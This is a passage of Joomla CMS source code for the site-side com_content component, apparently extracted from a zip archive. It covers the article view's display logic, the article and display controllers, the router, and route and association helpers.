        $this->item  = $this->get('Item');
        $this->print = $app->getInput()->getBool('print', false);
        $this->state = $this->get('State');
        $this->user  = $user;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Create a shortcut for $item.
        $item            = $this->item;
        $item->tagLayout = new FileLayout('joomla.content.tags');

        // Add router helpers.
        $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;

        // No link for ROOT category
        if ($item->parent_alias === 'root') {
            $item->parent_id = null;
        }

        // @todo Change based on shownoauth
        $item->readmore_link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));

        // Merge article params. If this is single-article view, menu params override article params
        // Otherwise, article params override menu item params
        $this->params = $this->state->get('params');
        $active       = $app->getMenu()->getActive();
        $temp         = clone $this->params;

        // Check to see which parameters should take priority. If the active menu item link to the current article, then
        // the menu item params take priority
        if (
            $active
            && $active->component == 'com_content'
            && isset($active->query['view'], $active->query['id'])
            && $active->query['view'] == 'article'
            && $active->query['id'] == $item->id
        ) {
            $this->menuItemMatchArticle = true;

            // Load layout from active query (in case it is an alternative menu item)
            if (isset($active->query['layout'])) {
                $this->setLayout($active->query['layout']);
            } elseif ($layout = $item->params->get('article_layout')) {
                // Check for alternative layout of article
                $this->setLayout($layout);
            }

            // $item->params are the article params, $temp are the menu item params
            // Merge so that the menu item params take priority
            $item->params->merge($temp);
        } else {
            // The active menu item is not linked to this article, so the article params take priority here
            // Merge the menu item params with the article params so that the article params take priority
            $temp->merge($item->params);
            $item->params = $temp;

            // Check for alternative layouts (since we are not in a single-article menu item)
            // Single-article menu item layout takes priority over alt layout for an article
            if ($layout = $item->params->get('article_layout')) {
                $this->setLayout($layout);
            }
        }

        $offset = $this->state->get('list.offset');

        // Check the view access to the article (the model has already computed the values).
        if ($item->params->get('access-view') == false && ($item->params->get('show_noauth', '0') == '0')) {
            $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $app->setHeader('status', 403, true);

            return;
        }

        /**
         * Check for no 'access-view' and empty fulltext,
         * - Redirect guest users to login
         * - Deny access to logged users with 403 code
         * NOTE: we do not recheck for no access-view + show_noauth disabled ... since it was checked above
         */
        if ($item->params->get('access-view') == false && !strlen($item->fulltext)) {
            if ($this->user->get('guest')) {
                $return                = base64_encode(Uri::getInstance());
                $login_url_with_return = Route::_('index.php?option=com_users&view=login&return=' . $return);
                $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'notice');
                $app->redirect($login_url_with_return, 403);
            } else {
                $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
                $app->setHeader('status', 403, true);

                return;
            }
        }

        /**
         * NOTE: The following code (usually) sets the text to contain the fulltext, but it is the
         * responsibility of the layout to check 'access-view' and only use "introtext" for guests
         */
        if ($item->params->get('show_intro', '1') == '1') {
            $item->text = $item->introtext . ' ' . $item->fulltext;
        } elseif ($item->fulltext) {
            $item->text = $item->fulltext;
        } else {
            $item->text = $item->introtext;
        }

        $item->tags = new TagsHelper();
        $item->tags->getItemTags('com_content.article', $this->item->id);

        if (Associations::isEnabled() && $item->params->get('show_associations')) {
            $item->associations = AssociationHelper::displayAssociations($item->id);
        }

        // Process the content plugins.
        PluginHelper::importPlugin('content');
        $this->dispatchEvent(new Event('onContentPrepare', ['com_content.article', &$item, &$item->params, $offset]));

        $item->event                    = new \stdClass();
        $results                        = Factory::getApplication()->triggerEvent('onContentAfterTitle', ['com_content.article', &$item, &$item->params, $offset]);
        $item->event->afterDisplayTitle = trim(implode("\n", $results));

        $results                           = Factory::getApplication()->triggerEvent('onContentBeforeDisplay', ['com_content.article', &$item, &$item->params, $offset]);
        $item->event->beforeDisplayContent = trim(implode("\n", $results));

        $results                          = Factory::getApplication()->triggerEvent('onContentAfterDisplay', ['com_content.article', &$item, &$item->params, $offset]);
        $item->event->afterDisplayContent = trim(implode("\n", $results));

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->item->params->get('pageclass_sfx', ''));

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     */
    protected function _prepareDocument()
    {
        $app     = Factory::getApplication();
        $pathway = $app->getPathway();

        /**
         * Because the application sets a default page title,
         * we need to get it from the menu item itself
         */
        $menu = $app->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES'));
        }

        $title = $this->params->get('page_title', '');

        // If the menu item is not linked to this article
        if (!$this->menuItemMatchArticle) {
            // If a browser page title is defined, use that, then fall back to the article title if set, then fall back to the page_title option
            $title = $this->item->params->get('article_page_title', $this->item->title ?: $title);

            // Get ID of the category from active menu item
            if (
                $menu && $menu->component == 'com_content' && isset($menu->query['view'])
                && in_array($menu->query['view'], ['categories', 'category'])
            ) {
                $id = $menu->query['id'];
            } else {
                $id = 0;
            }

            $path     = [['title' => $this->item->title, 'link' => '']];
            $category = Categories::getInstance('Content')->get($this->item->catid);

            while ($category !== null && $category->id != $id && $category->id !== 'root') {
                $path[]   = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)];
                $category = $category->getParent();
            }

            $path = array_reverse($path);

            foreach ($path as $item) {
                $pathway->addItem($item['title'], $item['link']);
            }
        }

        if (empty($title)) {
            /**
             * This happens when the current active menu item is linked to the article without browser
             * page title set, so we use Browser Page Title in article and fallback to article title
             * if that is not set
             */
            $title = $this->item->params->get('article_page_title', $this->item->title);
        }

        $this->setDocumentTitle($title);

        if ($this->item->metadesc) {
            $this->getDocument()->setDescription($this->item->metadesc);
        } elseif ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }

        if ($app->get('MetaAuthor') == '1') {
            $author = $this->item->created_by_alias ?: $this->item->author;
            $this->getDocument()->setMetaData('author', $author);
        }

        $mdata = $this->item->metadata->toArray();

        foreach ($mdata as $k => $v) {
            if ($v) {
                $this->getDocument()->setMetaData($k, $v);
            }
        }

        // If there is a pagebreak heading or title, add it to the page title
        if (!empty($this->item->page_title)) {
            $this->item->title = $this->item->title . ' - ' . $this->item->page_title;
            $this->setDocumentTitle(
                $this->item->page_title . ' - ' . Text::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $this->state->get('list.offset') + 1)
            );
        }

        if ($this->print) {
            $this->getDocument()->setMetaData('robots', 'noindex, nofollow');
        }
    }
}
PK���\j����0�00com_content/src/Controller/ArticleController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Controller;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\FormController;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Versioning\VersionableControllerTrait;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content article class.
 *
 * @since  1.6.0
 */
class ArticleController extends FormController
{
    use VersionableControllerTrait;

    /**
     * The URL view item variable.
     *
     * @var    string
     * @since  1.6
     */
    protected $view_item = 'form';

    /**
     * The URL view list variable.
     *
     * @var    string
     * @since  1.6
     */
    protected $view_list = 'categories';

    /**
     * The URL edit variable.
     *
     * @var    string
     * @since  3.2
     */
    protected $urlVar = 'a.id';

    /**
     * Method to add a new record.
     *
     * @return  mixed  True if the record can be added, an error object if not.
     *
     * @since   1.6
     */
    public function add()
    {
        if (!parent::add()) {
            // Redirect to the return page.
            $this->setRedirect($this->getReturnPage());

            return;
        }

        // Redirect to the edit screen.
        $this->setRedirect(
            Route::_(
                'index.php?option=' . $this->option . '&view=' . $this->view_item . '&a_id=0'
                . $this->getRedirectToItemAppend(),
                false
            )
        );

        return true;
    }

    /**
     * Method override to check if you can add a new record.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    protected function allowAdd($data = [])
    {
        $user       = $this->app->getIdentity();
        $categoryId = ArrayHelper::getValue($data, 'catid', $this->input->getInt('catid'), 'int');
        $allow      = null;

        if ($categoryId) {
            // If the category has been passed in the data or URL check it.
            $allow = $user->authorise('core.create', 'com_content.category.' . $categoryId);
        }

        if ($allow === null) {
            // In the absence of better information, revert to the component permissions.
            return parent::allowAdd();
        } else {
            return $allow;
        }
    }

    /**
     * Method override to check if you can edit an existing record.
     *
     * @param   array   $data  An array of input data.
     * @param   string  $key   The name of the key for the primary key; default is id.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    protected function allowEdit($data = [], $key = 'id')
    {
        $recordId = (int) isset($data[$key]) ? $data[$key] : 0;
        $user     = $this->app->getIdentity();

        // Zero record (id:0), return component edit permission by calling parent controller method
        if (!$recordId) {
            return parent::allowEdit($data, $key);
        }

        // Check edit on the record asset (explicit or inherited)
        if ($user->authorise('core.edit', 'com_content.article.' . $recordId)) {
            return true;
        }

        // Check edit own on the record asset (explicit or inherited)
        if ($user->authorise('core.edit.own', 'com_content.article.' . $recordId)) {
            // Existing record already has an owner, get it
            $record = $this->getModel()->getItem($recordId);

            if (empty($record)) {
                return false;
            }

            // Grant if current user is owner of the record
            return $user->get('id') == $record->created_by;
        }

        return false;
    }

    /**
     * Method to cancel an edit.
     *
     * @param   string  $key  The name of the primary key of the URL variable.
     *
     * @return  boolean  True if access level checks pass, false otherwise.
     *
     * @since   1.6
     */
    public function cancel($key = 'a_id')
    {
        $result = parent::cancel($key);

        /** @var SiteApplication $app */
        $app = $this->app;

        // Load the parameters.
        $params = $app->getParams();

        $customCancelRedir = (bool) $params->get('custom_cancel_redirect');

        if ($customCancelRedir) {
            $cancelMenuitemId = (int) $params->get('cancel_redirect_menuitem');

            if ($cancelMenuitemId > 0) {
                $item = $app->getMenu()->getItem($cancelMenuitemId);
                $lang = '';

                if (Multilanguage::isEnabled()) {
                    $lang = !is_null($item) && $item->language != '*' ? '&lang=' . $item->language : '';
                }

                // Redirect to the user specified return page.
                $redirlink = $item->link . $lang . '&Itemid=' . $cancelMenuitemId;
            } else {
                // Redirect to the same article submission form (clean form).
                $redirlink = $app->getMenu()->getActive()->link . '&Itemid=' . $app->getMenu()->getActive()->id;
            }
        } else {
            $menuitemId = (int) $params->get('redirect_menuitem');

            if ($menuitemId > 0) {
                $lang = '';
                $item = $app->getMenu()->getItem($menuitemId);

                if (Multilanguage::isEnabled()) {
                    $lang = !is_null($item) && $item->language != '*' ? '&lang=' . $item->language : '';
                }

                // Redirect to the general (redirect_menuitem) user specified return page.
                $redirlink = $item->link . $lang . '&Itemid=' . $menuitemId;
            } else {
                // Redirect to the return page.
                $redirlink = $this->getReturnPage();
            }
        }

        $this->setRedirect(Route::_($redirlink, false));

        return $result;
    }

    /**
     * Method to edit an existing record.
     *
     * @param   string  $key     The name of the primary key of the URL variable.
     * @param   string  $urlVar  The name of the URL variable if different from the primary key
     * (sometimes required to avoid router collisions).
     *
     * @return  boolean  True if access level check and checkout passes, false otherwise.
     *
     * @since   1.6
     */
    public function edit($key = null, $urlVar = 'a_id')
    {
        $result = parent::edit($key, $urlVar);

        if (!$result) {
            $this->setRedirect(Route::_($this->getReturnPage(), false));
        }

        return $result;
    }

    /**
     * Method to get a model object, loading it if required.
     *
     * @param   string  $name    The model name. Optional.
     * @param   string  $prefix  The class prefix. Optional.
     * @param   array   $config  Configuration array for model. Optional.
     *
     * @return  object  The model.
     *
     * @since   1.5
     */
    public function getModel($name = 'Form', $prefix = 'Site', $config = ['ignore_request' => true])
    {
        return parent::getModel($name, $prefix, $config);
    }

    /**
     * Gets the URL arguments to append to an item redirect.
     *
     * @param   integer  $recordId  The primary key id for the item.
     * @param   string   $urlVar    The name of the URL variable for the id.
     *
     * @return  string  The arguments to append to the redirect URL.
     *
     * @since   1.6
     */
    protected function getRedirectToItemAppend($recordId = null, $urlVar = 'a_id')
    {
        // Need to override the parent method completely.
        $tmpl   = $this->input->get('tmpl');

        $append = '';

        // Setup redirect info.
        if ($tmpl) {
            $append .= '&tmpl=' . $tmpl;
        }

        // @todo This is a bandaid, not a long term solution.
        /**
         * if ($layout)
         * {
         *  $append .= '&layout=' . $layout;
         * }
         */

        $append .= '&layout=edit';

        if ($recordId) {
            $append .= '&' . $urlVar . '=' . $recordId;
        }

        $itemId = $this->input->getInt('Itemid');
        $return = $this->getReturnPage();
        $catId  = $this->input->getInt('catid');

        if ($itemId) {
            $append .= '&Itemid=' . $itemId;
        }

        if ($catId) {
            $append .= '&catid=' . $catId;
        }

        if ($return) {
            $append .= '&return=' . base64_encode($return);
        }

        return $append;
    }

    /**
     * Get the return URL.
     *
     * If a "return" variable has been passed in the request
     *
     * @return  string  The return URL.
     *
     * @since   1.6
     */
    protected function getReturnPage()
    {
        $return = $this->input->get('return', null, 'base64');

        if (empty($return) || !Uri::isInternal(base64_decode($return))) {
            return Uri::base();
        } else {
            return base64_decode($return);
        }
    }

    /**
     * Method to save a record.
     *
     * @param   string  $key     The name of the primary key of the URL variable.
     * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
     *
     * @return  boolean  True if successful, false otherwise.
     *
     * @since   1.6
     */
    public function save($key = null, $urlVar = 'a_id')
    {
        $result    = parent::save($key, $urlVar);

        if (\in_array($this->getTask(), ['save2copy', 'apply'], true)) {
            return $result;
        }

        $app       = $this->app;
        $articleId = $app->getInput()->getInt('a_id');

        // Load the parameters.
        $params   = $app->getParams();
        $menuitem = (int) $params->get('redirect_menuitem');

        // Check for redirection after submission when creating a new article only
        if ($menuitem > 0 && $articleId == 0) {
            $lang = '';

            if (Multilanguage::isEnabled()) {
                $item = $app->getMenu()->getItem($menuitem);
                $lang = !is_null($item) && $item->language != '*' ? '&lang=' . $item->language : '';
            }

            // If ok, redirect to the return page.
            if ($result) {
                $this->setRedirect(Route::_('index.php?Itemid=' . $menuitem . $lang, false));
            }
        } elseif ($this->getTask() === 'save2copy') {
            // Redirect to the article page, use the redirect url set from parent controller
        } else {
            // If ok, redirect to the return page.
            if ($result) {
                $this->setRedirect(Route::_($this->getReturnPage(), false));
            }
        }

        return $result;
    }

    /**
     * Method to reload a record.
     *
     * @param   string  $key     The name of the primary key of the URL variable.
     * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
     *
     * @return  void
     *
     * @since   3.8.0
     */
    public function reload($key = null, $urlVar = 'a_id')
    {
        parent::reload($key, $urlVar);
    }

    /**
     * Method to save a vote.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function vote()
    {
        // Check for request forgeries.
        $this->checkToken();

        $user_rating = $this->input->getInt('user_rating', -1);

        if ($user_rating > -1) {
            $url      = $this->input->getString('url', '');
            $id       = $this->input->getInt('id', 0);
            $viewName = $this->input->getString('view', $this->default_view);
            $model    = $this->getModel($viewName);

            // Don't redirect to an external URL.
            if (!Uri::isInternal($url)) {
                $url = Route::_('index.php');
            }

            if ($model->storeVote($id, $user_rating)) {
                $this->setRedirect($url, Text::_('COM_CONTENT_ARTICLE_VOTE_SUCCESS'));
            } else {
                $this->setRedirect($url, Text::_('COM_CONTENT_ARTICLE_VOTE_FAILURE'));
            }
        }
    }
}
PK���\
���0com_content/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Controller
 *
 * @since  1.5
 */
class DisplayController extends \Joomla\CMS\MVC\Controller\BaseController
{
    /**
     * @param   array                         $config   An optional associative array of configuration settings.
     *                                                  Recognized key values include 'name', 'default_task', 'model_path', and
     *                                                  'view_path' (this list is not meant to be comprehensive).
     * @param   MVCFactoryInterface|null      $factory  The factory.
     * @param   CMSApplication|null           $app      The Application for the dispatcher
     * @param   \Joomla\CMS\Input\Input|null  $input    The Input object for the request
     *
     * @since   3.0.1
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        $this->input = Factory::getApplication()->getInput();

        // Article frontpage Editor pagebreak proxying:
        if ($this->input->get('view') === 'article' && $this->input->get('layout') === 'pagebreak') {
            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        } elseif ($this->input->get('view') === 'articles' && $this->input->get('layout') === 'modal') {
            // Article frontpage Editor article proxying:
            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }

        parent::__construct($config, $factory, $app, $input);
    }

    /**
     * Method to display a view.
     *
     * @param   boolean  $cachable   If true, the view output will be cached.
     * @param   boolean  $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
     *
     * @return  DisplayController  This object to support chaining.
     *
     * @since   1.5
     */
    public function display($cachable = false, $urlparams = false)
    {
        $cachable = true;

        /**
         * Set the default view name and format from the Request.
         * Note we are using a_id to avoid collisions with the router and the return page.
         * Frontend is a bit messier than the backend.
         */
        $id    = $this->input->getInt('a_id');
        $vName = $this->input->getCmd('view', 'categories');
        $this->input->set('view', $vName);

        $user = $this->app->getIdentity();

        if (
            $user->get('id')
            || ($this->input->getMethod() === 'POST'
            && (($vName === 'category' && $this->input->get('layout') !== 'blog') || $vName === 'archive'))
        ) {
            $cachable = false;
        }

        $safeurlparams = [
            'catid'            => 'INT',
            'id'               => 'INT',
            'cid'              => 'ARRAY',
            'year'             => 'INT',
            'month'            => 'INT',
            'limit'            => 'UINT',
            'limitstart'       => 'UINT',
            'showall'          => 'INT',
            'return'           => 'BASE64',
            'filter'           => 'STRING',
            'filter_order'     => 'CMD',
            'filter_order_Dir' => 'CMD',
            'filter-search'    => 'STRING',
            'print'            => 'BOOLEAN',
            'lang'             => 'CMD',
            'Itemid'           => 'INT', ];

        // Check for edit form.
        if ($vName === 'form' && !$this->checkEditId('com_content.edit.article', $id)) {
            // Somehow the person just went to the form - we don't allow that.
            throw new \Exception(Text::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id), 403);
        }

        if ($vName === 'article') {
            // Get/Create the model
            if ($model = $this->getModel($vName)) {
                if (ComponentHelper::getParams('com_content')->get('record_hits', 1) == 1) {
                    $model->hit();
                }
            }
        }

        parent::display($cachable, $safeurlparams);

        return $this;
    }
}
PK���\�ALL$com_content/src/Service/Category.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Service;

use Joomla\CMS\Categories\Categories;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Category Tree
 *
 * @since  1.6
 */
class Category extends Categories
{
    /**
     * Class constructor
     *
     * @param   array  $options  Array of options
     *
     * @since   1.7.0
     */
    public function __construct($options = [])
    {
        $options['table']     = '#__content';
        $options['extension'] = 'com_content';

        parent::__construct($options);
    }
}
PK���\=VܥN"N""com_content/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Service;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Categories\CategoryFactoryInterface;
use Joomla\CMS\Categories\CategoryInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class of com_content
 *
 * @since  3.3
 */
class Router extends RouterView
{
    /**
     * Flag to remove IDs
     *
     * @var    boolean
     */
    protected $noIDs = false;

    /**
     * The category factory
     *
     * @var CategoryFactoryInterface
     *
     * @since  4.0.0
     */
    private $categoryFactory;

    /**
     * The category cache
     *
     * @var  array
     *
     * @since  4.0.0
     */
    private $categoryCache = [];

    /**
     * The db
     *
     * @var DatabaseInterface
     *
     * @since  4.0.0
     */
    private $db;

    /**
     * Content Component router constructor
     *
     * @param   SiteApplication           $app              The application object
     * @param   AbstractMenu              $menu             The menu object to work with
     * @param   CategoryFactoryInterface  $categoryFactory  The category object
     * @param   DatabaseInterface         $db               The database object
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)
    {
        $this->categoryFactory = $categoryFactory;
        $this->db              = $db;

        $params      = ComponentHelper::getParams('com_content');
        $this->noIDs = (bool) $params->get('sef_ids');
        $categories  = new RouterViewConfiguration('categories');
        $categories->setKey('id');
        $this->registerView($categories);
        $category = new RouterViewConfiguration('category');
        $category->setKey('id')->setParent($categories, 'catid')->setNestable()->addLayout('blog');
        $this->registerView($category);
        $article = new RouterViewConfiguration('article');
        $article->setKey('id')->setParent($category, 'catid');
        $this->registerView($article);
        $this->registerView(new RouterViewConfiguration('archive'));
        $this->registerView(new RouterViewConfiguration('featured'));
        $form = new RouterViewConfiguration('form');
        $form->setKey('a_id');
        $this->registerView($form);

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategorySegment($id, $query)
    {
        $category = $this->getCategories(['access' => true])->get($id);

        if ($category) {
            $path    = array_reverse($category->getPath(), true);
            $path[0] = '1:root';

            if ($this->noIDs) {
                foreach ($path as &$segment) {
                    list($id, $segment) = explode(':', $segment, 2);
                }
            }

            return $path;
        }

        return [];
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategoriesSegment($id, $query)
    {
        return $this->getCategorySegment($id, $query);
    }

    /**
     * Method to get the segment(s) for an article
     *
     * @param   string  $id     ID of the article to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getArticleSegment($id, $query)
    {
        if (!strpos($id, ':')) {
            $id      = (int) $id;
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('alias'))
                ->from($this->db->quoteName('#__content'))
                ->where($this->db->quoteName('id') . ' = :id')
                ->bind(':id', $id, ParameterType::INTEGER);
            $this->db->setQuery($dbquery);

            $id .= ':' . $this->db->loadResult();
        }

        if ($this->noIDs) {
            list($void, $segment) = explode(':', $id, 2);

            return [$void => $segment];
        }

        return [(int) $id => $id];
    }

    /**
     * Method to get the segment(s) for a form
     *
     * @param   string  $id     ID of the article form to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     *
     * @since   3.7.3
     */
    public function getFormSegment($id, $query)
    {
        return $this->getArticleSegment($id, $query);
    }

    /**
     * Method to get the id for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoryId($segment, $query)
    {
        if (isset($query['id'])) {
            $category = $this->getCategories(['access' => false])->get($query['id']);

            if ($category) {
                foreach ($category->getChildren() as $child) {
                    if ($this->noIDs) {
                        if ($child->alias == $segment) {
                            return $child->id;
                        }
                    } else {
                        if ($child->id == (int) $segment) {
                            return $child->id;
                        }
                    }
                }
            }
        }

        return false;
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoriesId($segment, $query)
    {
        return $this->getCategoryId($segment, $query);
    }

    /**
     * Method to get the segment(s) for an article
     *
     * @param   string  $segment  Segment of the article to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getArticleId($segment, $query)
    {
        if ($this->noIDs) {
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('id'))
                ->from($this->db->quoteName('#__content'))
                ->where(
                    [
                        $this->db->quoteName('alias') . ' = :alias',
                        $this->db->quoteName('catid') . ' = :catid',
                    ]
                )
                ->bind(':alias', $segment)
                ->bind(':catid', $query['id'], ParameterType::INTEGER);
            $this->db->setQuery($dbquery);

            return (int) $this->db->loadResult();
        }

        return (int) $segment;
    }

    /**
     * Method to get categories from cache
     *
     * @param   array  $options   The options for retrieving categories
     *
     * @return  CategoryInterface  The object containing categories
     *
     * @since   4.0.0
     */
    private function getCategories(array $options = []): CategoryInterface
    {
        $key = serialize($options);

        if (!isset($this->categoryCache[$key])) {
            $this->categoryCache[$key] = $this->categoryFactory->createCategory($options);
        }

        return $this->categoryCache[$key];
    }
}
PK���\
��iN
N
&com_content/src/Helper/RouteHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Helper;

use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Language\Multilanguage;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Route Helper.
 *
 * @since  1.5
 */
abstract class RouteHelper
{
    /**
     * Get the article route.
     *
     * @param   integer  $id        The route of the content item.
     * @param   integer  $catid     The category ID.
     * @param   string   $language  The language code.
     * @param   string   $layout    The layout value.
     *
     * @return  string  The article route.
     *
     * @since   1.5
     */
    public static function getArticleRoute($id, $catid = 0, $language = null, $layout = null)
    {
        // Create the link
        $link = 'index.php?option=com_content&view=article&id=' . $id;

        if ((int) $catid > 1) {
            $link .= '&catid=' . $catid;
        }

        if (!empty($language) && $language !== '*' && Multilanguage::isEnabled()) {
            $link .= '&lang=' . $language;
        }

        if ($layout) {
            $link .= '&layout=' . $layout;
        }

        return $link;
    }

    /**
     * Get the category route.
     *
     * @param   integer  $catid     The category ID.
     * @param   integer  $language  The language code.
     * @param   string   $layout    The layout value.
     *
     * @return  string  The article route.
     *
     * @since   1.5
     */
    public static function getCategoryRoute($catid, $language = 0, $layout = null)
    {
        if ($catid instanceof CategoryNode) {
            $id = $catid->id;
        } else {
            $id = (int) $catid;
        }

        if ($id < 1) {
            return '';
        }

        $link = 'index.php?option=com_content&view=category&id=' . $id;

        if ($language && $language !== '*' && Multilanguage::isEnabled()) {
            $link .= '&lang=' . $language;
        }

        if ($layout) {
            $link .= '&layout=' . $layout;
        }

        return $link;
    }

    /**
     * Get the form route.
     *
     * @param   integer  $id  The form ID.
     *
     * @return  string  The article route.
     *
     * @since   1.5
     */
    public static function getFormRoute($id)
    {
        return 'index.php?option=com_content&task=article.edit&a_id=' . (int) $id;
    }
}
PK���\A���,com_content/src/Helper/AssociationHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Helper;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\Component\Categories\Administrator\Helper\CategoryAssociationHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Association Helper
 *
 * @since  3.0
 */
abstract class AssociationHelper extends CategoryAssociationHelper
{
    /**
     * Method to get the associations for a given item
     *
     * @param   integer  $id      Id of the item
     * @param   string   $view    Name of the view
     * @param   string   $layout  View layout
     *
     * @return  array   Array of associations for the item
     *
     * @since  3.0
     */
    public static function getAssociations($id = 0, $view = null, $layout = null)
    {
        $jinput    = Factory::getApplication()->getInput();
        $view      = $view ?? $jinput->get('view');
        $component = $jinput->getCmd('option');
        $id        = empty($id) ? $jinput->getInt('id') : $id;

        if ($layout === null && $jinput->get('view') == $view && $component == 'com_content') {
            $layout = $jinput->get('layout', '', 'string');
        }

        if ($view === 'article') {
            if ($id) {
                $user      = Factory::getUser();
                $groups    = implode(',', $user->getAuthorisedViewLevels());
                $db        = Factory::getDbo();
                $advClause = [];

                // Filter by user groups
                $advClause[] = 'c2.access IN (' . $groups . ')';

                // Filter by current language
